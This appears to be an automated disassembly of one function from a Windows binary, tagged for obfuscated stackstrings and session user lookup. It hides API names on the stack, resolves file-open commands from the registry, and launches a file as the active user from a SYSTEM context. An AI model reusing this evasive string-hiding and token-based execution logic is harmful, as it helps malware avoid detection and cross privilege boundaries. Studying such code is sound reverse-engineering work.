Function at 0x41b2c0
Capabilities:
Contain obfuscated stackstrings
Get session user name

Disassembly:
sub esp, 0x970
push ebx
push ebp
push esi
lea eax, [esp + 0xb0]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x4b
mov byte [esp + 0x31], 0x45
mov byte [esp + 0x32], 0x52
mov byte [esp + 0x33], 0x4e
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x4c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0xbc], 0x47
mov byte [esp + 0xbd], bl
mov byte [esp + 0xbe], 0x74
mov byte [esp + 0xbf], 0x46
mov byte [esp + 0xc0], 0x69
mov byte [esp + 0xc1], 0x6c
mov byte [esp + 0xc2], bl
mov byte [esp + 0xc3], 0x41
mov byte [esp + 0xc4], 0x74
mov byte [esp + 0xc5], 0x74
mov byte [esp + 0xc6], 0x72
mov byte [esp + 0xc7], 0x69
mov byte [esp + 0xc8], 0x62
mov byte [esp + 0xc9], 0x75
mov byte [esp + 0xca], 0x74
mov byte [esp + 0xcb], bl
mov byte [esp + 0xcc], 0x73
mov byte [esp + 0xcd], 0x41
mov byte [esp + 0xce], 0
call fcn.00419b40
mov esi, eax
lea edx, [esp + 0x68]
lea eax, [esp + 0x40]
push edx
push eax
mov byte [esp + 0x48], 0x53
mov byte [esp + 0x49], 0x48
mov byte [esp + 0x4a], 0x45
mov byte [esp + 0x4b], 0x4c
mov byte [esp + 0x4c], 0x4c
mov byte [esp + 0x4d], 0x33
mov byte [esp + 0x4e], 0x32
mov byte [esp + 0x4f], 0x2e
mov byte [esp + 0x50], 0x64
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x6c
mov byte [esp + 0x53], 0
mov byte [esp + 0x70], 0x53
mov byte [esp + 0x71], 0x68
mov byte [esp + 0x72], bl
mov byte [esp + 0x73], 0x6c
mov byte [esp + 0x74], 0x6c
mov byte [esp + 0x75], 0x45
mov byte [esp + 0x76], 0x78
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x63
mov byte [esp + 0x79], 0x75
mov byte [esp + 0x7a], 0x74
mov byte [esp + 0x7b], bl
mov byte [esp + 0x7c], 0x41
mov byte [esp + 0x7d], 0
call fcn.00419b40
mov dword [esp + 0x12c], eax
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0x44
mov byte [esp + 0x26], 0x56
mov byte [esp + 0x27], 0x41
mov byte [esp + 0x28], 0x50
mov byte [esp + 0x29], 0x49
lea ecx, [esp + 0x80]
lea edx, [esp + 0x24]
push ecx
push edx
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], 0x6c
mov byte [esp + 0x37], 0x6c
mov byte [esp + 0x38], 0
mov byte [esp + 0x88], 0x52
mov byte [esp + 0x89], bl
mov byte [esp + 0x8a], 0x67
mov byte [esp + 0x8b], 0x4f
mov byte [esp + 0x8c], 0x70
mov byte [esp + 0x8d], bl
mov byte [esp + 0x8e], 0x6e
mov byte [esp + 0x8f], 0x4b
mov byte [esp + 0x90], bl
mov byte [esp + 0x91], 0x79
mov byte [esp + 0x92], 0x45
mov byte [esp + 0x93], 0x78
mov byte [esp + 0x94], 0x41
mov byte [esp + 0x95], 0
call fcn.00419b40
mov ebp, eax
lea eax, [esp + 0x98]
lea ecx, [esp + 0x2c]
push eax
push ecx
mov byte [esp + 0xa0], 0x52
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x67
mov byte [esp + 0xa3], 0x51
mov byte [esp + 0xa4], 0x75
mov byte [esp + 0xa5], bl
mov byte [esp + 0xa6], 0x72
mov byte [esp + 0xa7], 0x79
mov byte [esp + 0xa8], 0x56
mov byte [esp + 0xa9], 0x61
mov byte [esp + 0xaa], 0x6c
mov byte [esp + 0xab], 0x75
mov byte [esp + 0xac], bl
mov byte [esp + 0xad], 0x41
mov byte [esp + 0xae], 0
call fcn.00419b40
mov dword [esp + 0x128], eax
lea edx, [esp + 0x64]
lea eax, [esp + 0x34]
push edx
push eax
mov byte [esp + 0x6c], 0x52
mov byte [esp + 0x6d], bl
mov byte [esp + 0x6e], 0x67
mov byte [esp + 0x6f], 0x43
mov byte [esp + 0x70], 0x6c
mov byte [esp + 0x71], 0x6f
mov byte [esp + 0x72], 0x73
mov byte [esp + 0x73], bl
mov byte [esp + 0x74], 0x4b
mov byte [esp + 0x75], bl
mov byte [esp + 0x76], 0x79
mov byte [esp + 0x77], 0
call fcn.00419b40
mov dword [esp + 0x12c], eax
mov byte [esp + 0x108], 0x57
mov byte [esp + 0x109], 0x54
mov byte [esp + 0x10a], 0x53
mov byte [esp + 0x10b], 0x47
mov byte [esp + 0x10c], bl
mov byte [esp + 0x10d], 0x74
mov byte [esp + 0x10e], 0x41
mov byte [esp + 0x10f], 0x63
mov byte [esp + 0x110], 0x74
mov byte [esp + 0x111], 0x69
mov byte [esp + 0x112], 0x76
mov byte [esp + 0x113], bl
mov byte [esp + 0x114], 0x43
mov byte [esp + 0x115], 0x6f
mov byte [esp + 0x116], 0x6e
lea ecx, [esp + 0x108]
lea edx, [esp + 0x50]
push ecx
push edx
mov byte [esp + 0x11f], 0x73
mov byte [esp + 0x120], 0x6f
mov byte [esp + 0x121], 0x6c
mov byte [esp + 0x122], bl
mov byte [esp + 0x123], 0x53
mov byte [esp + 0x124], bl
mov byte [esp + 0x125], 0x73
mov byte [esp + 0x126], 0x73
mov byte [esp + 0x127], 0x69
mov byte [esp + 0x128], 0x6f
mov byte [esp + 0x129], 0x6e
mov byte [esp + 0x12a], 0x49
mov byte [esp + 0x12b], 0x64
mov byte [esp + 0x12c], 0
call fcn.00419b40
mov dword [esp + 0x148], eax
lea eax, [esp + 0xd0]
lea ecx, [esp + 0x80]
push eax
push ecx
mov byte [esp + 0x88], 0x57
mov byte [esp + 0x89], 0x54
mov byte [esp + 0x8a], 0x53
mov byte [esp + 0x8b], 0x41
mov byte [esp + 0x8c], 0x50
mov byte [esp + 0x8d], 0x49
mov byte [esp + 0x8e], 0x33
mov byte [esp + 0x8f], 0x32
mov byte [esp + 0x90], 0x2e
mov byte [esp + 0x91], 0x64
mov byte [esp + 0x92], 0x6c
mov byte [esp + 0x93], 0x6c
mov byte [esp + 0x94], 0
mov byte [esp + 0xd8], 0x57
mov byte [esp + 0xd9], 0x54
mov byte [esp + 0xda], 0x53
mov byte [esp + 0xdb], 0x51
mov byte [esp + 0xdc], 0x75
mov byte [esp + 0xdd], bl
mov byte [esp + 0xde], 0x72
mov byte [esp + 0xdf], 0x79
mov byte [esp + 0xe0], 0x55
mov byte [esp + 0xe1], 0x73
mov byte [esp + 0xe2], bl
mov byte [esp + 0xe3], 0x72
mov byte [esp + 0xe4], 0x54
mov byte [esp + 0xe5], 0x6f
mov byte [esp + 0xe6], 0x6b
mov byte [esp + 0xe7], bl
mov byte [esp + 0xe8], 0x6e
mov byte [esp + 0xe9], 0
call fcn.00419b40
mov dword [esp + 0x158], eax
lea edx, [esp + 0xc8]
lea eax, [esp + 0x60]
push edx
push eax
mov byte [esp + 0xd0], 0x43
mov byte [esp + 0xd1], 0x72
mov byte [esp + 0xd2], bl
mov byte [esp + 0xd3], 0x61
mov byte [esp + 0xd4], 0x74
mov byte [esp + 0xd5], bl
mov byte [esp + 0xd6], 0x50
mov byte [esp + 0xd7], 0x72
mov byte [esp + 0xd8], 0x6f
mov byte [esp + 0xd9], 0x63
mov byte [esp + 0xda], bl
mov byte [esp + 0xdb], 0x73
mov byte [esp + 0xdc], 0x73
mov byte [esp + 0xdd], 0x41
mov byte [esp + 0xde], 0
call fcn.00419b40
add esp, 0x40
mov dword [esp + 0x10c], eax
mov byte [esp + 0xc8], 0x43
mov byte [esp + 0xc9], 0x72
lea ecx, [esp + 0xc8]
lea edx, [esp + 0x14]
push ecx
push edx
mov byte [esp + 0xd2], bl
mov byte [esp + 0xd3], 0x61
mov byte [esp + 0xd4], 0x74
mov byte [esp + 0xd5], bl
mov byte [esp + 0xd6], 0x50
mov byte [esp + 0xd7], 0x72
mov byte [esp + 0xd8], 0x6f
mov byte [esp + 0xd9], 0x63
mov byte [esp + 0xda], bl
mov byte [esp + 0xdb], 0x73
mov byte [esp + 0xdc], 0x73
mov byte [esp + 0xdd], 0x41
mov byte [esp + 0xde], 0x73
mov byte [esp + 0xdf], 0x55
mov byte [esp + 0xe0], 0x73
mov byte [esp + 0xe1], bl
mov byte [esp + 0xe2], 0x72
mov byte [esp + 0xe3], 0x41
mov byte [esp + 0xe4], 0
call fcn.00419b40
mov ebx, dword [esp + 0x98c]
add esp, 8
mov dword [esp + 0x114], eax
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x104], 0x400
call esi
cmp eax, 0xffffffff
je 0x41bbdf
test al, 0x10
je 0x41b9a6
push 5
push 0
push 0
push ebx
push str.open
push 0
call dword [esp + 0x134]
mov ecx, 0x20
pop edi
cmp ecx, eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x970
ret
push 0x2e
push ebx
call fcn.0042d8c0
mov esi, eax
add esp, 8
test esi, esi
je 0x41bbdf
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x378]
push 0x5c
rep stosd dword es:[edi], eax
push ebx
call fcn.0042d8c0
sub eax, ebx
lea edx, [esp + 0x380]
push eax
push ebx
push edx
call fcn.0042dc60
add esp, 0x14
lea eax, [esp + 0x110]
lea ecx, [esp + 0x87c]
mov dword [esp + 0x110], 0x100
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x87c]
push str.SYSTEM
push edx
call fcn.0042d710
mov edx, dword [0x51eb78]
add esp, 8
test eax, eax
jne 0x41ba41
test edx, edx
jne 0x41ba45
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call edi
mov edx, dword [0x51eb78]
test edx, edx
je 0x41ba31
jmp 0x41ba45
test edx, edx
je 0x41bab0
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
push esi
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x180]
push str._s_Classes_s
push eax
call fcn.0042cdcc
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x41bacc
lea eax, [esp + 0x10]
push eax
push 0x20019
push 0
push esi
push closesocket
call ebp
test eax, eax
je 0x41bacc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
push esi
push closesocket
call ebp
test eax, eax
jne 0x41bbdf
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x100]
lea eax, [esp + 0x47c]
push edx
push eax
push 0
push ecx
call dword [esp + 0x118]
mov edx, dword [esp + 0x10]
push edx
call dword [esp + 0x108]
mov edx, dword [0x51eb78]
mov ecx, 0x80
test edx, edx
je 0x41bb98
xor eax, eax
lea edi, [esp + 0x178]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x47c]
lea ecx, [esp + 0x178]
push eax
push edx
push str._s_Classes_s_shellopencommand
push ecx
call fcn.0042cdcc
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0x178]
push edx
push 0x20019
push 0
push eax
push reloc.WS2_32.dll_closesocket
call ebp
test eax, eax
je 0x41bbec
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x178]
lea edx, [esp + 0x178]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x47c]
push ecx
push str._s_shellopencommand
push edx
call fcn.0042cdcc
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x178]
push eax
push 0x20019
push 0
push ecx
jmp 0x41bbd4
xor eax, eax
lea edi, [esp + 0x178]
lea edx, [esp + 0x47c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x17c]
push str._s_shellopencommand
push eax
call fcn.0042cdcc
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x178]
push ecx
push 0x20019
push 0
push edx
push closesocket
call ebp
test eax, eax
je 0x41bbec
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov edx, dword [esp + 0x10]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x47c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x100]
lea ecx, [esp + 0x47c]
push eax
push ecx
push 0
push edx
mov dword [esp + 0x110], 0x400
call dword [esp + 0x118]
mov eax, dword [esp + 0x10]
push eax
call dword [esp + 0x108]
lea ecx, [esp + 0x47c]
push 0x50d000
push ecx
call fcn.0042cce0
add esp, 8
test eax, eax
jne 0x41bc85
lea edx, [esp + 0x47c]
push 0x50cffc
push edx
call fcn.0042cce0
add esp, 8
test eax, eax
jne 0x41bc85
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x47c]
push 0x50c564
push eax
call edi
lea ecx, [esp + 0x47c]
push ebx
push ecx
call edi
jmp 0x41bc8d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dx, word [esp + 0x98c]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x138]
push str..exe
push esi
rep stosd dword es:[edi], eax
mov dword [esp + 0x13c], 0x44
mov dword [esp + 0x168], 1
mov word [esp + 0x16c], dx
call fcn.0042d710
add esp, 8
test eax, eax
je 0x41bd00
push str..bat
push esi
call fcn.0042d710
add esp, 8
test eax, eax
je 0x41bd00
push str..com
push esi
call fcn.0042d710
add esp, 8
test eax, eax
je 0x41bd00
mov esi, 1
jmp 0x41bd02
xor esi, esi
lea eax, [esp + 0x87c]
push str.SYSTEM
push eax
mov dword [esp + 0x2c], 0
call fcn.0042d710
add esp, 8
test eax, eax
jne 0x41bd69
mov eax, dword [esp + 0x988]
test eax, eax
jne 0x41bd32
test esi, esi
je 0x41bd69
call dword [esp + 0x118]
cmp eax, 0xffffffff
jne 0x41bd4b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [esp + 0x128]
test eax, eax
jne 0x41bd69
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x41bdb5
lea edx, [esp + 0x124]
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x37c]
push eax
push ecx
push 0
push 0
push 0
push 0
lea edx, [esp + 0x498]
push 0
push edx
push 0
call dword [esp + 0x134]
test eax, eax
jne 0x41be05
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
lea ecx, [esp + 0x124]
lea edx, [esp + 0x134]
push ecx
lea ecx, [esp + 0x37c]
push edx
push ecx
push 0
push 0
push 0
push 0
lea edx, [esp + 0x498]
push 0
push edx
push 0
push eax
call dword [esp + 0x140]
test eax, eax
jne 0x41be05
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x970
ret
mov ecx, dword [esp + 0x128]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x124]
push edx
call esi
mov eax, dword [esp + 0x24]
test eax, eax
je 0x41be2a
push eax
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x970
ret